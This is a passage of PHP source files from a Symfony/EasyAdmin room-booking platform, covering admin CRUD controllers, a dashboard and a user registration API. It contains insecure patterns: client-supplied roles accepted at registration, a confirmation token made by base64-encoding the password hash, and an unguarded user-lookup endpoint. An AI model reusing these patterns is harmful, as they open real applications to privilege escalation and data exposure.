:directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "company") ; // your query })->hideOnIndex(), FormField::addPanel('Company Contact')->collapsible(true), TelephoneField::new('CompanyPhone1'), TelephoneField::new('CompanyPhone2')->hideOnIndex(), TelephoneField::new('companyFixePhone')->hideOnIndex(), TextField::new('companyBP')->hideOnIndex(), EmailField::new('companyEmail')->hideOnIndex(), AssociationField::new('address'), TextField::new('companyFacebookPage')->hideOnIndex(), FormField::addPanel('Company Social Media Presence')->collapsible(true), UrlField::new('companyFacebookPage')->hideOnIndex(), UrlField::new('companyInstagramPage')->hideOnIndex(), UrlField::new('companyTwiterPage')->hideOnIndex(), UrlField::new('companyLinkedinPage')->hideOnIndex(), ]; } public function createEntity(string $entityFqcn) { $entity = new Company(); return $entity; } } Controller/Admin/PackageCrudController.php 0000644 00000007116 15117152230 0014647 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\MediaObject; use App\Entity\Package; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\IntegerField; use EasyCorp\Bundle\EasyAdminBundle\Field\MoneyField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextareaField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class PackageCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Package::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), ImageField::new('packageCover') ->setBasePath($this->getParameter('app.path.media_object'))->hideOnForm(), TextField::new('packageName'), MoneyField::new('packageCost')->setCurrency("XAF"), AssociationField::new('packageCover') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "package") ; // your query })->onlyOnForms(), IntegerField::new('validity'), IntegerField::new('maxProducts',"Buildings"), TextareaField::new('packageDesc')->hideOnIndex(), AssociationField::new('createdBy')->hideOnForm(), DateTimeField::new('createdAt')->onlyOnIndex(), DateTimeField::new('lastUpdate')->onlyWhenUpdating()->onlyOnIndex(), AssociationField::new('modifyBy')->onlyWhenUpdating()->onlyOnIndex(), ]; } public function createEntity(string $entityFqcn) { $entity = new Package(); $user=$this->getUser(); if(is_null($user)){ $user=$_SESSION["user"]; } $entity->setCreatedBy($user); return $entity; } } Controller/Admin/PaymentProviderCrudController.php 0000644 00000004516 15117152230 0016445 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\MediaObject; use App\Entity\PaymentOption; use App\Entity\PaymentProvider; use App\Entity\User; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use EasyCorp\Bundle\EasyAdminBundle\Field\UrlField; class PaymentProviderCrudController extends AbstractCrudController { private $entityManager; public function __construct( EntityManagerInterface $entityManager) { $this->entityManager=$entityManager; } public static function getEntityFqcn(): string { return PaymentProvider::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), ImageField::new('providerLogo') ->setBasePath($this->getParameter('app.path.media_object'))->hideOnForm(), AssociationField::new('providerLogo') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "payment_provider") ; // your query })->onlyOnForms(), TextField::new('providerName'), TextField::new('skuCode'), UrlField::new('website'), AssociationField::new('country'), AssociationField::new('paymentOptions')->hideOnForm(), BooleanField::new('enable'), DateTimeField::new('createdAt')->hideOnForm(), AssociationField::new('createdBy')->hideOnForm(), ]; } public function createEntity(string $entityFqcn) { $entity = new PaymentProvider(); $entity->setCreatedBy($this->getUser()); return $entity; } } Controller/Admin/TownCrudController.php 0000644 00000006317 15117152230 0014245 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\MediaObject; use App\Entity\Town; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\IntegerField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class TownCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Town::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), ImageField::new('picture') ->setBasePath($this->getParameter('app.path.media_object'))->hideOnForm(), TextField::new('town_name'), IntegerField::new('population'), AssociationField::new('country'), AssociationField::new('picture') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "town") ; // your query })->onlyOnForms(), BooleanField::new('isCapital'), DateTimeField::new('createdAt')->hideOnIndex(), TextField::new('region')->hideOnIndex(), TextField::new('latitude')->hideOnIndex(), TextField::new('longitude')->hideOnIndex(), ]; } public function createEntity(string $entityFqcn) { $entity = new Town(); return $entity; } } Controller/Admin/RoomCrudController.php 0000644 00000011427 15117152230 0014230 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\MediaObject; use App\Entity\Room; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\CodeEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\IntegerField; use EasyCorp\Bundle\EasyAdminBundle\Field\MoneyField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class RoomCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Room::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), ImageField::new('picture') ->setBasePath($this->getParameter('app.path.media_object'))->hideOnForm(), TextField::new('code'), AssociationField::new('building'), AssociationField::new('roomType'), MoneyField::new('cost', "cost per day")->setCurrency("XAF")->setStoredAsCents(false), MoneyField::new('costPerMonth')->setCurrency("XAF")->setStoredAsCents(false)->onlyOnForms(), AssociationField::new('options'), IntegerField::new('numberOfPiece', "Pieces"), IntegerField::new('capacity'), BooleanField::new('isFree'), BooleanField::new('payBefore'), AssociationField::new('picture') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "room") ; // your query })->onlyOnForms(), AssociationField::new('picture1') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "room") ; // your query })->hideOnIndex(), AssociationField::new('picture2') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "room") ; // your query })->hideOnIndex(), AssociationField::new('createdBy')->onlyOnDetail(), DateTimeField::new('createdAt')->onlyOnDetail(), ]; } public function createEntity(string $entityFqcn) { $entity = new Room(); $user=$this->getUser(); if(is_null($user)){ $user=$_SESSION["user"]; } $entity->setCreatedBy($user); $entity->setCreatedAt(new \DateTime()); return $entity; } } Controller/Admin/DashboardController.php 0000644 00000041576 15117152230 0014375 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\BookingRoom; use App\Entity\FirebaseToken; use App\Entity\NotificationPush; use App\Entity\Package; use App\Entity\Payment; use App\Entity\PaymentOption; use App\Entity\PaymentProvider; use App\Event\EasyAdminSubscriber; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Config\Assets; use EasyCorp\Bundle\EasyAdminBundle\Config\Crud; use EasyCorp\Bundle\EasyAdminBundle\Config\UserMenu; use App\Entity\Actualite; use App\Entity\Address; use App\Entity\Announce; use App\Entity\Background; use App\Entity\Building; use App\Entity\BuildingOption; use App\Entity\BuildingType; use App\Entity\Commentaire; use App\Entity\Company; use App\Entity\Contact; use App\Entity\Country; use App\Entity\Coupon; use App\Entity\Logs; use App\Entity\MediaObject; use App\Entity\Partenariat; use App\Entity\Room; use App\Entity\RoomOption; use App\Entity\RoomType; use App\Entity\Subscription; use App\Entity\Testimony; use App\Entity\Town; use App\Entity\User; use App\Entity\Visitor; use App\Security\EmailVerifier; use EasyCorp\Bundle\EasyAdminBundle\Config\Dashboard; use EasyCorp\Bundle\EasyAdminBundle\Config\Menu\SubMenuItem; use EasyCorp\Bundle\EasyAdminBundle\Config\MenuItem; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractDashboardController; use EasyCorp\Bundle\EasyAdminBundle\Event\BeforeCrudActionEvent; use EasyCorp\Bundle\EasyAdminBundle\Router\AdminUrlGenerator; use FOS\RestBundle\Controller\Annotations as Rest; use FOS\RestBundle\Controller\Annotations\View; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\RedirectResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Core\User\UserInterface; use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; use Symfony\UX\Chartjs\Builder\ChartBuilderInterface; use Symfony\UX\Chartjs\Model\Chart; use SymfonyCasts\Bundle\VerifyEmail\Exception\VerifyEmailExceptionInterface; use Vich\UploaderBundle\Entity\File; /** */ class DashboardController extends AbstractDashboardController { private $chartBuilder; private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; private $entityManager; private $urlGenerator; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, ChartBuilderInterface $chartBuilder, TokenStorageInterface $tokenStorage, EntityManagerInterface $entityManager, SessionInterface $session, UrlGeneratorInterface $urlGenerator, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->chartBuilder = $chartBuilder; $this->session = $session; $this->urlGenerator = $urlGenerator; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $entityManager; } /** * @Route({"es": "/admin","en": "/admin"}, name="admin_dashboard") */ public function index(): Response { $user= $this->getUser(); if(is_null($user)){ $redirectTo= new RedirectResponse($this->urlGenerator->generate("app_login")); $this->addFlash("warning","connexion lose"); return $redirectTo; } $token = new UsernamePasswordToken($user, "main", "common", $user->getRoles()); $request = $this->requestStack->getMainRequest(); if (!$request->hasPreviousSession()) { $request->setSession($this->session); $request->getSession()->start(); $request->cookies->set($request->getSession()->getName(), $request->getSession()->getId()); } $this->tokenStorage->setToken($token); $this->session->set('_security_common', serialize($token)); $event = new InteractiveLoginEvent($this->requestStack->getMainRequest(), $token); $this->eventDispatcher->dispatch( $event); $this->configureUserMenu($user); $this->session->save(); $this->session->start(); // redirect to some CRUD controller $routeBuilder = $this->get(AdminUrlGenerator::class); $buildings=$this->entityManager->getRepository(Building::class)->findAll(); $users=$this->entityManager->getRepository(User::class)->findAll(); $companies=$this->entityManager->getRepository(Company::class)->findAll(); $incomes=$this->entityManager->getRepository(Payment::class)->findAll(); $bookings=$this->entityManager->getRepository(BookingRoom::class)->findBy([], ['createdAt' => 'DESC']); if($this->entityManager->getRepository(User::class)->findOneBySomeField($user->getUsername())->isVerified()){ $notification=0; $income=0; foreach ($bookings as $booking){ if(!$booking->isHasVue()){ $notification++; } if(!is_null($booking->getPayment())){ $income+=$booking->getPayment()->getAmount(); } } $arrayOfChart=array(); foreach ($companies as $company){ $arrayOfChart[] = [ "name" => $company->getCompanyName(), "data" => $this->getCompanyIncome($company,date('Y'), date('m')) ]; } return $this->render('admin/my-dashboard.html.twig',[ "user"=>$user, "companies"=>$companies, "buildings"=>$buildings, "users"=>$users, "incomes"=>$incomes, "income"=>$income, "bookings"=>$bookings, "notification"=>$notification, "dates"=>$this->getDateRange(), "currentMonth"=>date('m'), "arrayOfChart"=>($arrayOfChart), "desc"=>date('F')." ".date('Y'), "days"=>$this->getArrayOfDay(date('Y'),date('m')), ]); }else{ $this->addFlash('error', 'Your Email has not been verified'); return $this->redirectToRoute('app_login'); } } public function configureDashboard(): Dashboard { if(is_null($this->getUser())){ return Dashboard::new() ->setTitle('Dashboard') ->setFaviconPath("public/favicon_io/favicon.ico"); } if(in_array('ROLE_ADMIN',$this->getUser()->getRoles())){ return Dashboard::new() ->setTitle('Admin Dashboard') ->setFaviconPath("public/favicon_io/favicon.ico"); }else{ return Dashboard::new() ->setTitle('User Dashboard') ->setFaviconPath("public/favicon_io/favicon.ico"); } } public function configureMenuItems(): iterable { if(is_null($this->getUser())){ $redirectTo= new RedirectResponse($this->urlGenerator->generate("app_login")); $this->addFlash("warning","connexion lose"); return $redirectTo; } if(is_null($this->getUser()->getFirstName())){ yield MenuItem::section("Welcome ".$this->getUser()->getLastName()); }else{ yield MenuItem::section("Welcome ".$this->getUser()->getFirstName()); } yield MenuItem::linkToDashboard('Dashboard', 'fa fa-home'); yield MenuItem::linkToCrud('Users', 'fas fa-users', User::class); yield MenuItem::subMenu('Business', 'fa fa-money')->setSubItems([ MenuItem::linkToCrud('Companies', 'fa fa-address-book-o', Company::class), MenuItem::linkToCrud('Partner', 'fa fa-building', Partenariat::class), MenuItem::linkToCrud('Subscription', 'fa fa-tags', Subscription::class), ]); yield MenuItem::subMenu('Incomes', 'fa fa-line-chart')->setSubItems([ MenuItem::linkToCrud('Bookings', 'fa fa-address-book-o', BookingRoom::class), MenuItem::linkToCrud('Payments', 'fa fa-dollar', Payment::class), MenuItem::linkToCrud('Payment Providers', 'fa fa-money', PaymentProvider::class), MenuItem::linkToCrud('Payment Option', 'fa fa-tags', PaymentOption::class), ]); yield MenuItem::linkToCrud('Package', 'fa fa-gift', Package::class); yield MenuItem::linkToCrud('News', 'fas fa-comments', Actualite::class); yield MenuItem::linkToCrud('Announces', 'fas fa-bell', Announce::class); yield MenuItem::linkToCrud('Coupon', 'fas fa-tags', Coupon::class); yield MenuItem::subMenu('Buildings', 'fa fa-sitemap ')->setSubItems([ MenuItem::linkToCrud('Buildings', 'fa fa-university', Building::class), MenuItem::linkToCrud('Buildings Types', 'fa fa-puzzle-piece', BuildingType::class), MenuItem::linkToCrud('Buildings Options', 'fa fa-cogs', BuildingOption::class)]); yield MenuItem::subMenu('Rooms', 'fa fa-bank')->setSubItems([ MenuItem::linkToCrud('Rooms', 'fa fa-hotel', Room::class), MenuItem::linkToCrud('Rooms Types', 'fa fa-file-text', RoomType::class), MenuItem::linkToCrud('Rooms Options', 'fa fa-cogs', RoomOption::class)]); yield MenuItem::subMenu('Media Files', 'fa fa-folder-open')->setSubItems([ MenuItem::linkToCrud('Media', 'fa fa-folder', MediaObject::class), MenuItem::linkToRoute('Files', 'fa fa-file-image', 'app_file_manager')]); yield MenuItem::subMenu('Places', 'fa fa-location-arrow')->setSubItems([ MenuItem::linkToCrud('Countries', 'fa fa-globe', Country::class), MenuItem::linkToCrud('Town', 'fa fa-map', Town::class), MenuItem::linkToCrud('Address', 'fa fa-map-pin', Address::class)]); yield MenuItem::subMenu('Services', 'fa fa-cogs')->setSubItems([ MenuItem::linkToCrud('Device Token', 'fa fa-tablet', FirebaseToken::class), MenuItem::linkToCrud('FB Notifications', 'fa fa-bell', NotificationPush::class), ] ); yield MenuItem::subMenu('Activities', 'fa fa-window-restore')->setSubItems([ MenuItem::linkToCrud('Contact', 'fa fa-address-card', Contact::class), MenuItem::linkToCrud('Testimonies', 'fa fa-comment', Testimony::class), MenuItem::linkToCrud('Comments', 'fa fa-commenting', Commentaire::class), MenuItem::linkToCrud('Visitors', 'fa fa-users', Visitor::class), MenuItem::linkToCrud('Logs', 'fa fa-tasks', Logs::class), ] ); yield MenuItem::section("Web Site Settings "); yield MenuItem::subMenu('Settings', 'fa fa-cogs')->setSubItems([ MenuItem::linkToCrud('Home Background', 'fa fa-file-image', Background::class), ] ); yield MenuItem::section("Connected As ".$this->getUser()->getLastName()); yield MenuItem::linkToLogout('Logout', 'fa fa-sign-out'); yield MenuItem::linkToExitImpersonation('Switch Account', 'fa fa-sync'); } public function configureUserMenu(UserInterface $user): UserMenu { if($_SERVER['HTTP_HOST']=="localhost" ){ $host="http://localhost/loger-api/public/"; }else{ $host="https://".$this->getParameter('app_domain')."/"; } // Usually it's better to call the parent method because that gives you a // user menu with some menu items already created ("sign out", "exit impersonation", etc.) // if you prefer to create the user menu from scratch, use: return UserMenu::new()->... return parent::configureUserMenu($user) // use the given $user object to get the user name ->setName($user->getLastName()." ".$user->getFirstName()) // use this method if you don't want to display the name of the user // you can return an URL with the avatar image ->setAvatarUrl($host.$this->getParameter('app.path.media_object').$user->userPicture) // ->setAvatarUrl($user->getProfileImageUrl()) // you can also pass an email address to use gravatar's service ->setGravatarEmail($user->getUsername()) // you can use any type of menu item, except submenus ->addMenuItems([ MenuItem::linkToRoute('My Profile', 'fa fa-id-card', 'app_user_profile', ['user' => $user]), MenuItem::linkToRoute('Settings', 'fa fa-user-cog', 'app_user_setting', ['user' => $user]), MenuItem::section(), MenuItem::linkToLogout('Logout', 'fa fa-sign-out'), ]); } public function getArrayOfDate(int $year=2023,int $month=1){ $list=array(); for($d=1; $d<=31; $d++) { $time=mktime(12, 0, 0, $month, $d, $year); if (date('m', $time)==$month) $list[]=date('Y-m-d', $time); } return $list; } public function getArrayOfDay(int $year=2023,int $month=1){ $list=array(); for($d=1; $d<=31; $d++) { $time=mktime(12, 0, 0, $month, $d, $year); if (date('m', $time)==$month) $list[]=date('d', $time)." ".date('D', $time); } return $list; } public function getCompanyIncome(Company $company,int $year=2023,int $month=1){ $lists=$this->getArrayOfDate($year,$month); $data=array(); for ($i=0; $i<sizeof($lists); $i++){ if($i==sizeof($lists)-1){ $bookings=$this->entityManager->getRepository(BookingRoom::class)->findByPeriodField($lists[$i], $this->getArrayOfDate($year,$month+1)[0]); }else{ $bookings=$this->entityManager->getRepository(BookingRoom::class)->findByPeriodField($lists[$i], $lists[$i+1]); } $totalAmount=0; foreach ($bookings as $booking){ if(!is_null($booking->getPayment()) && $booking->getRoom()->getBuilding()->getCompany()->getId()==$company->getId()) $totalAmount+=$booking->getPayment()->getAmount(); } array_push($data,$totalAmount); } return $data; } public function getDateRange(){ $date=$this->getParameter("createdDate"); $date=intval($date); $list=array(); for($i=0; $i<intval($this->getParameter("dateRange")); $i++){ $list[$i]=$date+$i; } return $list; } /** * Create User. * @Rest\Post ("api/admin/start") * @View */ public function getStat(Request $request){ $data = json_decode($request->getContent(), true); $companies=$this->entityManager->getRepository(Company::class)->findAll(); $arrayOfChart=array(); foreach ($companies as $company){ $arrayOfChart[] = [ "name" => $company->getCompanyName(), "data" => $this->getCompanyIncome($company,$data["year"], $data["month"]) ]; } return new JsonResponse($arrayOfChart, Response::HTTP_ACCEPTED); } public function configureAssets(): Assets { return Assets::new() ->addJsFile('js/jquery-3.2.1.min.js') ->addJsFile('js/sweetalert2.all.min.js') ->addJsFile('js/slick.js') ->addJsFile('js/aes.js') ->addJsFile('js/tripledes.js') ->addJsFile('js/enc-base64-min.js') ->addJsFile('js/index.js') ->addJsFile('js/admin.js'); } /** * Create User. * @Rest\Get ("admin/user-connected/{user_id}") * @View */ public function getConnectedUser(Request $request, int $user_id){ $user = $this->entityManager->getRepository(User::class)->findOneBy( ['id' => $user_id] ); return new JsonResponse($user, Response::HTTP_ACCEPTED); } /** * display booking. * * @Rest\GET ("admin/diplay_booking/{booking_id}") * @View * */ public function displayBooking(Request $request, int $booking_id, AdminUrlGenerator $adminUrlGenerator){ $booking = $this->entityManager->getRepository(BookingRoom::class)->findOneBy( ['id' => $booking_id] ); $booking->setHasVue(true); $this->entityManager->persist($booking); $this->entityManager->flush(); $targetUrl = $adminUrlGenerator ->setController(BookingRoomCrudController::class) ->setAction(Crud::PAGE_DETAIL) ->setEntityId($booking->getId()) ->generateUrl(); return $this->redirect($targetUrl); } } Controller/Admin/AdminAnnounceMessagingController.php 0000644 00000001237 15117152230 0017051 0 ustar 00 <?php namespace App\Controller\Admin; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\Routing\Annotation\Route; class AdminAnnounceMessagingController extends AbstractController { /** * @Route("/admin/announce/messaging", name="app_admin_announce_messaging") */ public function index(): Response { return $this->render('admin_announce_messaging/index.html.twig', [ 'controller_name' => 'AdminAnnounceMessagingController', ]); } } Controller/CreateMediaObjectAction.php 0000644 00000001231 15117152230 0014022 0 ustar 00 <?php /** * Created by PhpStorm. * User: user * Date: 02/07/2020 * Time: 10:24 */ namespace App\Controller; use App\Entity\MediaObject; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Exception\BadRequestHttpException; final class CreateMediaObjectAction { public function __invoke(Request $request): MediaObject { $uploadedFile = $request->files->get('file'); if (!$uploadedFile) { throw new BadRequestHttpException('"file" is required'); } $mediaObject = new MediaObject(); $mediaObject->file = $uploadedFile; return $mediaObject; } } Controller/AdminController.php 0000644 00000005675 15117152230 0012506 0 ustar 00 <?php namespace App\Controller; use App\Security\EmailVerifier; use FOS\RestBundle\Controller\Annotations as Rest; use FOS\RestBundle\Controller\Annotations\View; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\RedirectResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; class AdminController extends AbstractController { const ADMIN_ROUTE = "admin_dashboard"; private $emailVerifier; private $requestStack; private $tokenStorage; private $urlGenerator; private $eventDispatcher; private $session; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, UrlGeneratorInterface $urlGenerator, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->urlGenerator = $urlGenerator; $this->eventDispatcher = $eventDispatcher; } /** * @Route({"es": "/contact","en": "/admin_check"}, name="app_admin") */ public function index(): Response { $user= $this->getUser(); if(is_null($user)){ $user=$_SESSION["user"]; } $token = new UsernamePasswordToken($user, "main", "common", $user->getRoles()); $request = $this->requestStack->getMainRequest(); if (!$request->hasPreviousSession()) { $request->setSession($this->session); $request->getSession()->start(); $request->cookies->set($request->getSession()->getName(), $request->getSession()->getId()); } $this->tokenStorage->setToken($token); $this->session->set('_security_common', serialize($token)); $event = new InteractiveLoginEvent($this->requestStack->getMainRequest(), $token); $this->eventDispatcher->dispatch( $event); sleep(2); return new RedirectResponse($this->getAdminUrl()); } public function getAdminUrl(): string { return $this->urlGenerator->generate(self::ADMIN_ROUTE); } } Controller/UserController.php 0000644 00000026032 15117152230 0012362 0 ustar 00 <?php /** * Created by PhpStorm. * user: user * Date: 17/03/2021 * Time: 17:56 */ namespace App\Controller; use App\Entity\Country; use App\Entity\MediaObject; use App\Entity\Town; use Doctrine\DBAL\DBALException; use Doctrine\ORM\EntityManagerInterface; use FOS\RestBundle\Controller\Annotations as Rest; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template; use Symfony\Component\Mailer\MailerInterface; use Symfony\Component\Mime\BodyRendererInterface; use Symfony\Component\Mime\Email; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Bridge\Twig\Mime\TemplatedEmail; use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; use FOS\RestBundle\Controller\Annotations\View; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use App\Entity\User; use App\Form\UserType; use Psr\Http\Message\ResponseInterface; use GuzzleHttp\Client; use Symfony\Component\Routing\Annotation\Route; class UserController extends AbstractController { /** * Create User. * @Rest\Post("/api/register") * @View */ public function postUserAction(Request $request, UserPasswordHasherInterface $encoder, MailerInterface $mailer){ $user= new User(); $data = json_decode($request->getContent(), true); $responseMessage=array("data"=>$data, "message"=>"provide all informations", "processing"=>"failed"); if ( empty($data['firstName']) || empty($data['lastName']) || empty($data['roles']) || empty($data['username']) || empty($data['email']) || empty($data['plainPassword'])) { return new JsonResponse($responseMessage, Response::HTTP_BAD_REQUEST); } $user->setPhoneNumber($data['phoneNumber']); $user->setFirstName($data['firstName']); $user->setLastName($data['lastName']); $user->setEmail($data['email']); $user->setEmailCanonical($data['email']); $user->setUsername($data['username']); $user->setEnabled(true); $user->setActive(true); $user->setRoles(explode(",", $data['roles'])); // password encoding $encoded = $encoder->hashPassword($user, $data['plainPassword']); $user->setPassword($encoded); try{ $em=$this->getDoctrine()->getManager(); $em->persist($user); $em->flush(); $user->setConfirmationToken(base64_encode( json_encode( array( [ "password"=> $user->getPassword(), "username"=>$user->getUsername(), "enabled"=>$user->isEnabled(), "id"=> $user->getId(), "email"=> $user->getEmail(), ]) ) ) ); $em->persist($user); $em->flush(); $responseMessage=array("data"=>$data, "message"=>"user created", "processing"=>"success"); $onlinePath=$request->getBasePath(); /*$message = (new TemplatedEmail()) 